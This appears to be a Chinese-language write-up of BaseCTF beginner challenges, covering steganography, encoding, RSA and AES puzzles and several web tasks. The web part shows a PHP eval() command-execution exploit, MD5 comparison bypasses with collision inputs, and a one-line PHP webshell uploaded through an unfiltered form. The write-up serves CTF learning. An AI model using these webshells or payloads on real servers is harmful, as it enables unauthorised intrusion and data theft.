MISC 你也喜欢圣物吗 鲁迪是个老hentai!
附件下载下来有两个文件
sweeeeeet.png
where_is_key.zip(加密,里面有个where_is_key.zip)
先用TweakPNG分析一下,提示我们有冗余数据
在png中,冗余数据如果要有,那就是在文件尾,然后在文件尾就可以看到有一段base编码后的字符
赛博厨师解码一下,发现是一段提示
告诉我们是LSB隐写了,但是我用StegSolve搞半天出不来,最后我决定用大佬的Python脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 from PIL import Imageimport sysdef toasc (strr ): return int (strr, 2 ) def decode (str1, str2, str3 ): b = "" im = Image.open (str2) lenth = int (str1) * 8 width, height = im.size[0 ], im.size[1 ] count = 0 for h in range (height): for w in range (width): pixel = im.getpixel((w, h)) if count % 3 == 0 : count += 1 b = b + str ((mod(int (pixel[0 ]), 2 ))) if count == lenth: break if count % 3 == 1 : count += 1 b = b + str ((mod(int (pixel[1 ]), 2 ))) if count == lenth: break if count % 3 == 2 : count += 1 b = b + str ((mod(int (pixel[2 ]), 2 ))) if count == lenth: break if count == lenth: break with open (str3, "w" , encoding="utf-8" ) as f: for i in range (0 , len (b), 8 ): stra = toasc(b[i : i + 8 ]) f.write(chr (stra)) print ("sussess" ) def plus (string ): return string.zfill(8 ) def get_key (strr ): with open (strr, "rb" ) as f: s = f.read() string = "" for i in range (len (s)): string = string + "" + plus(bin (s[i]).replace("0b" , "" )) return string def mod (x, y ): return x % y def encode (str1, str2, str3 ): im = Image.open (str1) width, height = im.size[0 ], im.size[1 ] print ("width:" + str (width)) print ("height:" + str (height)) count = 0 key = get_key(str2) keylen = len (key) for h in range (height): for w in range (width): pixel = im.getpixel((w, h)) a = pixel[0 ] b = pixel[1 ] c = pixel[2 ] if count == keylen: break a = a - mod(a, 2 ) + int (key[count]) count += 1 if count == keylen: im.putpixel((w, h), (a, b, c)) break b = b - mod(b, 2 ) + int (key[count]) count += 1 if count == keylen: im.putpixel((w, h), (a, b, c)) break c = c - mod(c, 2 ) + int (key[count]) count += 1 if count == keylen: im.putpixel((w, h), (a, b, c)) break if count % 3 == 0 : im.putpixel((w, h), (a, b, c)) im.save(str3) if __name__ == "__main__" : if "-h" in sys.argv or "--help" in sys.argv or len (sys.argv) < 2 : print ("Usage: python test.py <cmd> [arg...] [opts...]" ) print (" cmds:" ) print (" encode image + flag -> image(encoded)" ) print (" decode length + image(encoded) -> flag" ) sys.exit(1 ) cmd = sys.argv[1 ] if cmd != "encode" and cmd != "decode" : print ("wrong input" ) sys.exit(1 ) str1 = sys.argv[2 ] str2 = sys.argv[3 ] str3 = sys.argv[4 ] if cmd != "encode" and cmd != "decode" : print ("Wrong cmd %s" % cmd) sys.exit(1 ) elif cmd == "encode" : encode(str1, str2, str3) elif cmd == "decode" : decode(str1, str2, str3)
然后运行命令
1 2 $ python steg.py decode 64 .\sweeeeeet.png flag.txt # 这个东西用来解题的用法是:python + python文件名 + decode + 长度 + 图片位置 + 输出位置
因为不知道我们的flag有多长,所以我设置了64,但是出来的其实也不是flag,而是一段文字,有意义的就是lud1_lud1
(真就鲁迪啊)
然后把这个密码拿去解压压缩包,里面的文件可以解压出来,但是里面这个压缩包还有密码
看似已经没有提示了,所以我想到的是伪加密,我尝试使用ZipCracker来自动解除伪加密
ZipCracker: https://github.com/asaotomo/ZipCracker
结果跟我想的一样,它是个伪加密
打开里面的flag.txt
文件,是两段base编码分布在文件的头部和尾部(你中间放一堆回车防谁呢)
拿去bake一次,发现结果里面还有一段,并且告诉我们前面半段是假的
拿着后面再bake一次就出来了
海上遇到了鲨鱼 来看看网络鲨鱼吧
附件下载下来是个.pcapng
文件,也就是wireshark的抓包文件,我们把它打开(我用的Omnipeek)
发现里面有几个请求
对/wireshark/flag.php
文件的访问,返回的内容为}67bf613763ca-50b3-4437-7a3a-b683fe51{FTCesaB
,估计是倒转了,所以我们直接转回来就行了
1 2 original_string = "}67bf613763ca-50b3-4437-7a3a-b683fe51{FTCesaB" print (original_string[::-1 ])
然后就能得到flag了
Base Base啊Base,去学学编码吧
这里提示很明显了,base编码方式,文件里面内容为KFWUM6S2KVHFKUTOOQZVUVCGNJGUOMLMLAZVE5SYGJETAYZSKZVGIR22HE======
五个等号,base32,解码一下发现没出来,再来一次32发现不对,那来一次64,就出来了
人生苦短,我用Python 下载下来一个Python文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 import base64import hashlibdef abort (id ): print ('You failed test %d. Try again!' % id ) exit(1 ) print ('Hello, Python!' )flag = input ('Enter your flag: ' ) if len (flag) != 38 : abort(1 ) if not flag.startswith('BaseCTF{' ): abort(2 ) if flag.find('Mp' ) != 10 : abort(3 ) if flag[-3 :] * 8 != '3x}3x}3x}3x}3x}3x}3x}3x}' : abort(4 ) if ord (flag[-1 ]) != 125 : abort(5 ) if flag.count('_' ) // 2 != 2 : abort(6 ) if list (map (len , flag.split('_' ))) != [14 , 2 , 6 , 4 , 8 ]: abort(7 ) if flag[12 :32 :4 ] != 'lsT_n' : abort(8 ) if '😺' .join([c.upper() for c in flag[:9 ]]) != 'B😺A😺S😺E😺C😺T😺F😺{😺S' : abort(9 ) if not flag[-11 ].isnumeric() or int (flag[-11 ]) ** 5 != 1024 : abort(10 ) if base64.b64encode(flag[-7 :-3 ].encode()) != b'MG1QbA==' : abort(11 ) if flag[::-7 ].encode().hex () != '7d4372733173' : abort(12 ) if set (flag[12 ::11 ]) != {'l' , 'r' }: abort(13 ) if flag[21 :27 ].encode() != bytes ([116 , 51 , 114 , 95 , 84 , 104 ]): abort(14 ) if sum (ord (c) * 2024_08_15 ** idx for idx, c in enumerate (flag[17 :20 ])) != 41378751114180610 : abort(15 ) if not all ([flag[0 ].isalpha(), flag[8 ].islower(), flag[13 ].isdigit()]): abort(16 ) if '{whats} {up}' .format (whats=flag[13 ], up=flag[15 ]).replace('3' , 'bro' ) != 'bro 1' : abort(17 ) if hashlib.sha1(flag.encode()).hexdigest() != 'e40075055f34f88993f47efb3429bd0e44a7f479' : abort(18 ) print ('🎉 You are right!' )import this
这里给了很多信息
flag的长度为38
flag的头一定为BaseCTF{
flag的第11和12位一定为Mp
flag的最后三位一定为3x}
flag的最后一位的字符的ASCII码为125(}
)
flag里面下划线_
的数量整除2的结果为2,也就是下划线数量为4~5个
flag中使用下划线_
分割后,每一部分的字符数目为14, 2, 6, 4, 8(变相告诉我们只有4个下划线)
flag中13~33位中一定含有字符lsT_n
flag的前9位为BaseCTF{s
或者BaseCTF{S
flag的倒数第七个字符到倒数第三个字符的base64编码为MG1QbA==
(0mPl
)
flag倒着取,每七个取一个字符,经过hex编码后结果为7d4372733173
(}Crs1s
)
flag从第13位开始,每11个字符取一次(第13位、第24位、第35位),这三位的字符一定为l
或者r
flag的第22位到第28位的编码结果是[116, 51, 114, 95, 84, 104]
(t3r_Th
)
flag的第18位到20位的字符对应的ASCII值乘以2024_08_15
的指数总和等于41378751114180610
flag的第一位为字母(已经得知是B
),第九位为小写字母,第14位为数字
flag的第14位为3
,第16位为1
flag经过sha1编码后的结果为e40075055f34f88993f47efb3429bd0e44a7f479
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
B
a
s
e
C
T
F
{
s
M
p
l/r
3
_
1
_
t
3
r
_
T
h
_
C
0
m
P
l
3
x
}
综合这些条件,我们就可以得到上面这个表所示的提示
然后我就开始猜了,这个跟英语的功底有一定关系的
结合第9~14位为(未知用*
代替)s*Mp*3
,我的想法是simple
这个单词,所以我猜了s1Mp13
第16~17位为两个字母的单词,我想到的就是is
,所以我猜了1s
此时就变成了BaseCTF{s1Mp13_1s_***t3r_Th**_C0mpl3x}
,我再猜
第26~29位不是this
就是that
,按照英语的习惯,我猜是个that
,所以这个地方可能为Th4t
此时就变成了BaseCTF{s1Mp13_1s_***t3r_Th4t_C0mpl3x}
,就剩下中间的***
了
这里第十五个条件:sum(ord(c) * 2024_08_15 ** idx for idx, c in enumerate(flag[17:20])) != 41378751114180610
的计算方式如下(假设flag的第18到21位为abc)
使用enumerate生成带索引的列表,为[(0, "a"), (1, "b"), (2, "c")]
然后对每个索引进行计算
生成字符的ASCII码,例如a为97
使用a的ASCII码进行运算:97 * 20240815 ** 0
,此处的0是索引
这个时候我们就得到了一个方程(设α、β、γ为三个位置的字符的ASCII码)
α β γ
其中,20240815^2 === 409690591864225
, 而41378751114180610 // 409690591864225 = 101
,所以我猜γ=101
(e
)
然后用(41378751114180610 - 409690591864225*101) // 20240815 = 66
,猜测β=66
(B
)
最后用41378751114180610 - 409690591864225 * 101 - 20240815 * 66 = 95
,猜测α=95
(_
)
此时flag为BaseCTF{s1Mp13_1s__Bet3r_Th4t_C0mpl3x}
发现不对,下划线只能有4个,而我们的已知条件已经有4个了,这样的话分段数目不对
然后我发现我错了,这里[17:20]
是左闭右开区间,也就是应该是第18位到20位的内容为这些(上面条件里面已经更正过来了),所以应该为BaseCTF{s1Mp13_1s_Be*t3r_Th4t_C0mpl3x}
,所以我猜测中间那个未知的词为better
,那么就有Bett3r
、BeTt3r
的写法,但是我都尝试了,不管是BaseCTF{s1Mp13_1s_Bett3r_Th4t_C0mpl3x}
还是BaseCTF{s1Mp13_1s_BeTt3r_Th4t_C0mpl3x}
都不对,说明Th4t
那个地方应该是错的
那就可能为This
了,也说得通:Simple is better, this complex
所以尝试一下this
,this
可写作This
、Th1s
、ThiS
、This
,都去试试
然后我想起来了,这个代码不就是用来检测flag的嘛……然后用这个代码检测,发现过不了第八项
所以第八项告诉我们一定是写作BeTt3r
,就变成了BaseCTF{s1Mp13_1s_BeTt3r_Th4t_C0mpl3x}
,但是还有一个错了,根据第八项取得最后一个字母错了,他是n
,所以我就想到了than
这个单词(表示比较),所以我拿去试试,用BaseCTF{s1Mp13_ls_BeTt3r_Th4n_C0mpl3x}
然后还是错了,发现是simple这个单词里面的l
就是l
,我就用了BaseCTF{s1Mpl3_ls_BeTt3r_Th4n_C0mpl3x}
过不了第十一项,complex应该为C0mPl3x
(当时打错了),然后是过不了第17项,所以is
应该写作1s
,最终确定flag为BaseCTF{s1Mpl3_1s_BeTt3r_Th4n_C0mPl3x}
签到 关注公众号然后签到就有了
根本进不去啊! 这个是考了DNS记录的其他类型,我们平常用的最多的是A和CNAME,但是实际上TXT类型的DNS记录可以用来存文本
使用Linux的dig命令可以查看到域名下的TXT记录
所以我们dig一下flag.basectf.fun
的TXT记录就出来了
你会算md5吗 下载下来是个Python脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 import hashlibflag='BaseCTF{}' output=[] for i in flag: my_md5=hashlib.md5() my_md5.update(i.encode()) output.append(my_md5.hexdigest()) print ("output =" ,output)''' output = ['9d5ed678fe57bcca610140957afab571', '0cc175b9c0f1b6a831c399e269772661', '03c7c0ace395d80182db07ae2c30f034', 'e1671797c52e15f763380b45e841ec32', '0d61f8370cad1d412f80b84d143e1257', 'b9ece18c950afbfa6b0fdbfa4ff731d3', '800618943025315f869e4e1f09471012', 'f95b70fdc3088560732a5ac135644506', '0cc175b9c0f1b6a831c399e269772661', 'a87ff679a2f3e71d9181a67b7542122c', '92eb5ffee6ae2fec3ad71c777531578f', '8fa14cdd754f91cc6554c9e71929cce7', 'a87ff679a2f3e71d9181a67b7542122c', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '0cc175b9c0f1b6a831c399e269772661', 'e4da3b7fbbce2345d7772b0674a318d5', '336d5ebc5436534e61d16e63ddfca327', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '8fa14cdd754f91cc6554c9e71929cce7', '8fa14cdd754f91cc6554c9e71929cce7', '45c48cce2e2d7fbdea1afc51c7c6ad26', '336d5ebc5436534e61d16e63ddfca327', 'a87ff679a2f3e71d9181a67b7542122c', '8f14e45fceea167a5a36dedd4bea2543', '1679091c5a880faf6fb5e6087eb1b2dc', 'a87ff679a2f3e71d9181a67b7542122c', '336d5ebc5436534e61d16e63ddfca327', '92eb5ffee6ae2fec3ad71c777531578f', '8277e0910d750195b448797616e091ad', '0cc175b9c0f1b6a831c399e269772661', 'c81e728d9d4c2f636f067f89cc14862c', '336d5ebc5436534e61d16e63ddfca327', '0cc175b9c0f1b6a831c399e269772661', '8fa14cdd754f91cc6554c9e71929cce7', 'c9f0f895fb98ab9159f51fd0297e236d', 'e1671797c52e15f763380b45e841ec32', 'e1671797c52e15f763380b45e841ec32', 'a87ff679a2f3e71d9181a67b7542122c', '8277e0910d750195b448797616e091ad', '92eb5ffee6ae2fec3ad71c777531578f', '45c48cce2e2d7fbdea1afc51c7c6ad26', '0cc175b9c0f1b6a831c399e269772661', 'c9f0f895fb98ab9159f51fd0297e236d', '0cc175b9c0f1b6a831c399e269772661', 'cbb184dd8e05c9709e5dcaedaa0495cf'] '''
这个直接md5碰撞就完事了,写个Python脚本自动生成结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 import hashlibimport stringdef generate_md5_dict (): chars = ( string.ascii_uppercase + string.ascii_lowercase + string.digits + "!\"#$%&'()*+,-./:;<=>?@[\\]_^`{|}~" ) md5_dict = {} for char in chars: md5_hash = hashlib.md5(char.encode()).hexdigest() md5_dict[md5_hash] = char return md5_dict md5_dictionary = generate_md5_dict() for md5_value, character in md5_dictionary.items(): print (f"MD5: {md5_value} -> Character: {character} " ) output = [ "9d5ed678fe57bcca610140957afab571" , "0cc175b9c0f1b6a831c399e269772661" , "03c7c0ace395d80182db07ae2c30f034" , "e1671797c52e15f763380b45e841ec32" , "0d61f8370cad1d412f80b84d143e1257" , "b9ece18c950afbfa6b0fdbfa4ff731d3" , "800618943025315f869e4e1f09471012" , "f95b70fdc3088560732a5ac135644506" , "0cc175b9c0f1b6a831c399e269772661" , "a87ff679a2f3e71d9181a67b7542122c" , "92eb5ffee6ae2fec3ad71c777531578f" , "8fa14cdd754f91cc6554c9e71929cce7" , "a87ff679a2f3e71d9181a67b7542122c" , "eccbc87e4b5ce2fe28308fd9f2a7baf3" , "0cc175b9c0f1b6a831c399e269772661" , "e4da3b7fbbce2345d7772b0674a318d5" , "336d5ebc5436534e61d16e63ddfca327" , "eccbc87e4b5ce2fe28308fd9f2a7baf3" , "8fa14cdd754f91cc6554c9e71929cce7" , "8fa14cdd754f91cc6554c9e71929cce7" , "45c48cce2e2d7fbdea1afc51c7c6ad26" , "336d5ebc5436534e61d16e63ddfca327" , "a87ff679a2f3e71d9181a67b7542122c" , "8f14e45fceea167a5a36dedd4bea2543" , "1679091c5a880faf6fb5e6087eb1b2dc" , "a87ff679a2f3e71d9181a67b7542122c" , "336d5ebc5436534e61d16e63ddfca327" , "92eb5ffee6ae2fec3ad71c777531578f" , "8277e0910d750195b448797616e091ad" , "0cc175b9c0f1b6a831c399e269772661" , "c81e728d9d4c2f636f067f89cc14862c" , "336d5ebc5436534e61d16e63ddfca327" , "0cc175b9c0f1b6a831c399e269772661" , "8fa14cdd754f91cc6554c9e71929cce7" , "c9f0f895fb98ab9159f51fd0297e236d" , "e1671797c52e15f763380b45e841ec32" , "e1671797c52e15f763380b45e841ec32" , "a87ff679a2f3e71d9181a67b7542122c" , "8277e0910d750195b448797616e091ad" , "92eb5ffee6ae2fec3ad71c777531578f" , "45c48cce2e2d7fbdea1afc51c7c6ad26" , "0cc175b9c0f1b6a831c399e269772661" , "c9f0f895fb98ab9159f51fd0297e236d" , "0cc175b9c0f1b6a831c399e269772661" , "cbb184dd8e05c9709e5dcaedaa0495cf" , ] result = "" for item in output: try : result += md5_dictionary[item] except KeyError: print (item) print (result) print (result)
跑一下就出来了
Crypto helloCrypto 第一步,装好python;第二步,学会装库。
附件是Python代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from Crypto.Util.number import long_to_bytesfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import unpadkey1 = 208797759953288399620324890930572736628 ciphertext = b'U\xcd\xf3\xb1 r\xa1\x8e\x88\x92Sf\x8a`Sk],\xa3(i\xcd\x11\xd0D\x1edd\x16[&\x92@^\xfc\xa9(\xee\xfd\xfb\x07\x7f:\x9b\x88\xfe{\xae' key = long_to_bytes(key1) my_aes = AES.new(key=key, mode=AES.MODE_ECB) plaintext = unpad(my_aes.decrypt(ciphertext), AES.block_size) print (plaintext.decode())
直接反着来就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from Crypto.Util.number import long_to_bytesfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import unpadkey1 = 208797759953288399620324890930572736628 ciphertext = b'U\xcd\xf3\xb1 r\xa1\x8e\x88\x92Sf\x8a`Sk],\xa3(i\xcd\x11\xd0D\x1edd\x16[&\x92@^\xfc\xa9(\xee\xfd\xfb\x07\x7f:\x9b\x88\xfe{\xae' key = long_to_bytes(key1) my_aes = AES.new(key=key, mode=AES.MODE_ECB) plaintext = unpad(my_aes.decrypt(ciphertext), AES.block_size) print (plaintext.decode())
ez_rsa 下载下来还是Python代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from Crypto.Util.number import *import gmpy2m=bytes_to_long(b'BaseCTF{th1s_is_fake_fl4g}' ) e=65537 p=getPrime(512 ) q=getPrime(512 ) n=p*q not_phi=(p+2 )*(q+2 ) c=pow (m,e,n) print (n)print (not_phi)print (c)''' 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790344897976690691139671461342896437428086142262969360560293350630096355947291129943172939923835317907954465556018515239228081131167407674558849860647237317421 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790384900615665394180812810697286554008262030049280213663390855887077502992804805794388166197820395507600028816810471093163466639673142482751115353389655533205 37077223015399348092851894372646658604740267343644217689655405286963638119001805842457783136228509659145024536105346167019011411567936952592106648947994192469223516127472421779354488529147931251709280386948262922098480060585438392212246591935850115718989480740299246709231437138646467532794139869741318202945 '''
题目里特意告诉你那个是not_phi
,然而我们可以算出phi_n
所以我们可以得到
然后写成代码就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from Crypto.Util.number import long_to_bytesfrom sympy import mod_inversee = 65537 n = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790344897976690691139671461342896437428086142262969360560293350630096355947291129943172939923835317907954465556018515239228081131167407674558849860647237317421 not_phi = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790384900615665394180812810697286554008262030049280213663390855887077502992804805794388166197820395507600028816810471093163466639673142482751115353389655533205 c = 37077223015399348092851894372646658604740267343644217689655405286963638119001805842457783136228509659145024536105346167019011411567936952592106648947994192469223516127472421779354488529147931251709280386948262922098480060585438392212246591935850115718989480740299246709231437138646467532794139869741318202945 phi_n = (3 * n - not_phi + 6 ) // 2 print ("φ(n):" , phi_n)d = mod_inverse(e, phi_n) if d: m = pow (c, d, n) flag_bytes = long_to_bytes(m) print ("解密后的消息:" , flag_bytes.decode()) else : print ("无法计算私钥 d。" )
Web HTTP 是什么呀 成为嘿客的第一步!当然是 HTTP 啦! 可以多使用搜索引擎搜索每个参数的含义以及传参方式
💡 看看你是怎么到达最后一个页面的,中途是不是经过了什么?
打开网页后有如下要求
GET参数basectf=we1c%00me
POST参数Base=fl@g
Cookie传入c00k13=i can't eat it
User-Agent传入Base
Referer传入Base
IPX-Forwarded-For
传入127.0.0.1
一切用Hackbar就可以搞定,但是GET的那个百分号要转义一下
来到这个页面没有flag,但是提示已经告诉我们了中间有一个页面,我们看到Network选项卡可以看到有个重定向里面有flag
把他提供的内容拿去base64解码一下就有了
喵喵喵´•ﻌ•` 小明在学习PHP的过程中发现,原来php也可以执行系统的命令,于是开始疯狂学习…..
进来以后是PHP源码
1 2 3 4 5 6 7 8 9 <?php highlight_file (__FILE__ );error_reporting (0 );$a = $_GET ['DT' ];eval ($a );?>
很明显了就是RCE,我们尝试传入phpinfo();
验证了我们的猜想
但是我传入了exec("ls")
和shell_exec("ls")
都没反应,可能是服务器把这两个函数禁用了 这两个函数是没有输出的,要加print,但是我发现了用system("ls")
可以,我就用来找flag的位置了
找到了,cat出来就有了
md5绕过欸 绕哇绕哇绕
打开了还是PHP源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php highlight_file (__FILE__ );error_reporting (0 );require 'flag.php' ;if (isset ($_GET ['name' ]) && isset ($_POST ['password' ]) && isset ($_GET ['name2' ]) && isset ($_POST ['password2' ]) ){ $name = $_GET ['name' ]; $name2 = $_GET ['name2' ]; $password = $_POST ['password' ]; $password2 = $_POST ['password2' ]; if ($name != $password && md5 ($name ) == md5 ($password )){ if ($name2 !== $password2 && md5 ($name2 ) === md5 ($password2 )){ echo $flag ; } else { echo "再看看啊,马上绕过嘞!" ; } } else { echo "错啦错啦" ; } } else { echo '没看到参数呐' ; } ?>
这里要求我们GET参数name
和name2
,POST内容password
和password2
当name
与password
不相等并且name
的md5值与password
的md5值相等
这里出现了四种PHP运算符:
!=
不等运算符,会进行类型转换,然后比较两个变量的值是否不等
==
相等运算符,会进行类型转换,然后比较两个变量的值是否相等
!==
不全等运算符,不会进行类型转换,当类型不一致或者类型一致但是值不一致的时候返回True
===
全等运算符,不会进行类型转换,当类型一致且值一致的时候返回True
不等/相等绕过 这题第一个条件$name != $password && md5($name) == md5($password)
,前半很好满足,后半看似要找两个md5值相同的内容,但其实不是
我们上面说了,==
会进行强制类型转换,而如果我们这个时候的md5值的头部是0e会怎么样呢?会显示为科学计数法0exxxxxxx
,被PHP认为是数字,而这个数字非常地小,所以转换后结果为0,实现绕过
所以我们可以传入name=QNKCDZO
,password=240610708
,这样分别对应了0e830400451993494058024219903391
和0e462097431906509019562988736854
就绕过了第一层
附:抄过来的md5以0e开头的常见字符串
QNKCDZO 0e830400451993494058024219903391
240610708 0e462097431906509019562988736854
s878926199a 0e545993274517709034328855841020
s155964671a 0e342768416822451524974117254469
s214587387a 0e848240448830537924465865611904
s214587387a 0e848240448830537924465865611904
s878926199a 0e545993274517709034328855841020
s1091221200a 0e940624217856561557816327384675
s1885207154a 0e509367213418206700842008763514
s1502113478a 0e861580163291561247404381396064
s1885207154a 0e509367213418206700842008763514
s1836677006a 0e481036490867661113260034900752
s155964671a 0e342768416822451524974117254469
s1184209335a 0e072485820392773389523109082030
s1665632922a 0e731198061491163073197128363787
s1502113478a 0e861580163291561247404381396064
s1836677006a 0e481036490867661113260034900752
s1091221200a 0e940624217856561557816327384675
s155964671a 0e342768416822451524974117254469
s1502113478a 0e861580163291561247404381396064
s155964671a 0e342768416822451524974117254469
s1665632922a 0e731198061491163073197128363787
s155964671a 0e342768416822451524974117254469
s1091221200a 0e940624217856561557816327384675
s1836677006a 0e481036490867661113260034900752
s1885207154a 0e509367213418206700842008763514
s532378020a 0e220463095855511507588041205815
s878926199a 0e545993274517709034328855841020
s1091221200a 0e940624217856561557816327384675
s214587387a 0e848240448830537924465865611904
s1502113478a 0e861580163291561247404381396064
s1091221200a 0e940624217856561557816327384675
s1665632922a 0e731198061491163073197128363787
s1885207154a 0e509367213418206700842008763514
s1836677006a 0e481036490867661113260034900752
s1665632922a 0e731198061491163073197128363787
s878926199a 0e545993274517709034328855841020
不全等/全等绕过 这个就得真的用两个内容不一样,但是md5值一样的字符串了,我们用一个碰撞器来弄到我们要的东西
Fastcoll: https://github.com/AndSonder/fastcoll/blob/master/README.md
我先写了一个文件叫做HelloWorld.txt
,里面的内容就是为空(其实文件里面也可以放东西,但是可能计算时间会久一点),然后用这个软件来帮我碰撞
1 ./fastcoll_v1.0 .0 .5 .exe -p HelloWorld.txt -o hw1.txt hw2.txt
因为输出的文件很多不可见字符,我们要对所有的字符进行URL编码后再发送,我用了PHP来做这个事情,因为Python死活读不到文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php function readmyfile ($path ) { $fh = fopen ($path , "rb" ); $data = fread ($fh , filesize ($path )); fclose ($fh ); return $data ; } echo '二进制md5加密 ' . md5 ( (readmyfile ("hw1.txt" )));echo "</br>" ;echo 'url编码 ' . urlencode (readmyfile ("hw1.txt" ));echo "</br>" ;echo '二进制md5加密 ' .md5 ( (readmyfile ("hw2.txt" )));echo "</br>" ;echo 'url编码 ' . urlencode (readmyfile ("hw2.txt" ));echo "</br>" ;
放到我的PHPStudy环境,访问就可以得到了
1 2 3 4 5 二进制md5加密 f2038bd4ac2833e87fd0ad8b5261c9ff url编码 %F3L%27sZ%AF%89fS%F7%A7g-%9E2My%9AT%8Bbrs%07%19%CA8%FD%17%1A%BA%FD%BA%AB%03%EE%DCc%E8Zo%BC%F5a%EB%9D%1AO%A2%ECB%E0%83W%84%DB%C3%7C%0BKK8%DA%3D%3F%5C%D2%0A%02%5E%AE%0B%BF%C8%9AE%26%89%2FW%AFuY%60t%9B%01%E2%AD%C3%10P%9B_H%A8%CF%7D%18%24%9F%06%93%3C5%3F%C4%3Ah+%EE%D4%86%B6%F4%5E%40%19%C4%80%91%82%FB%A2%D9h%C7%40 二进制md5加密 f2038bd4ac2833e87fd0ad8b5261c9ff url编码 %F3L%27sZ%AF%89fS%F7%A7g-%9E2My%9AT%0Bbrs%07%19%CA8%FD%17%1A%BA%FD%BA%AB%03%EE%DCc%E8Zo%BC%F5a%EB%1D%1BO%A2%ECB%E0%83W%84%DB%C3%7C%0B%CBK8%DA%3D%3F%5C%D2%0A%02%5E%AE%0B%BF%C8%9AE%26%89%2FW%AFuY%E0t%9B%01%E2%AD%C3%10P%9B_H%A8%CF%7D%18%24%9F%06%93%3C5%3F%C4%3Ah%A0%ED%D4%86%B6%F4%5E%40%19%C4%80%91%82%FB%22%D9h%C7%40
然后把两个url编码放到hackbar里,进行POST请求,本来就可以得到flag了,结果!!!
不对啊!!!思路是正确的为啥出不来,没办法自己搞不定就去问人了
然后我打开了我的Burpsuite,再发送一下我的请求,然后就可以了
这波Hackbar背大锅
补充:md5全等绕过的第二种做法 传入name2[]=1
和password2[]=3
(数字随意)也可以绕过,因为md5传入数组的时候,返回结果都是null
A Dark Room 文字游戏 玩得开心!
打开来是个网页,我一开始以为真的要从文字游戏里面找线索,结果一按F12
好吧,这就得到flag了
upload 快来上传你最喜欢的照片吧~ 等下,这个 php 后缀的照片是什么?
这里提示我们了是文件上传没有进行严格的过滤而导致的漏洞,我们直接生成一个webshell,我这里用的是哥斯拉
生成了一个webshell.php
文件,内容如下
1 2 <?php eval ($_POST ["pass" ]);
上传后可以看到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php error_reporting (0 );if (isset ($_FILES ['file' ])) { highlight_file (__FILE__ ); $file = $_FILES ['file' ]; $filename = $file ['name' ]; $filetype = $file ['type' ]; $filesize = $file ['size' ]; $filetmp = $file ['tmp_name' ]; $fileerror = $file ['error' ]; if ($fileerror === 0 ) { $destination = 'uploads/' . $filename ; move_uploaded_file ($filetmp , $destination ); echo 'File uploaded successfully' ; } else { echo 'Error uploading file' ; } } ?> <!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8" > <meta name="viewport" content="width=device-width, initial-scale=1.0" > <title>上传你喜欢的图片吧!</title> </head> <body> <form action="" method="post" enctype="multipart/form-data" > <input type="file" name="file" > <button type="submit" >上传!</button> </form> <?php $files = scandir ('uploads' ); foreach ($files as $file ) { if ($file === '.' || $file === '..' ) { continue ; } echo "<img src='uploads/$file ' style=\"max-height: 200px;\" />" ; } ?> </body> </html>
发现上传后的文件在uploads
文件夹里,且没有被改名字,直接打开蚁剑进行连接
可以在根目录下找到flag文件,打开就能看到flag了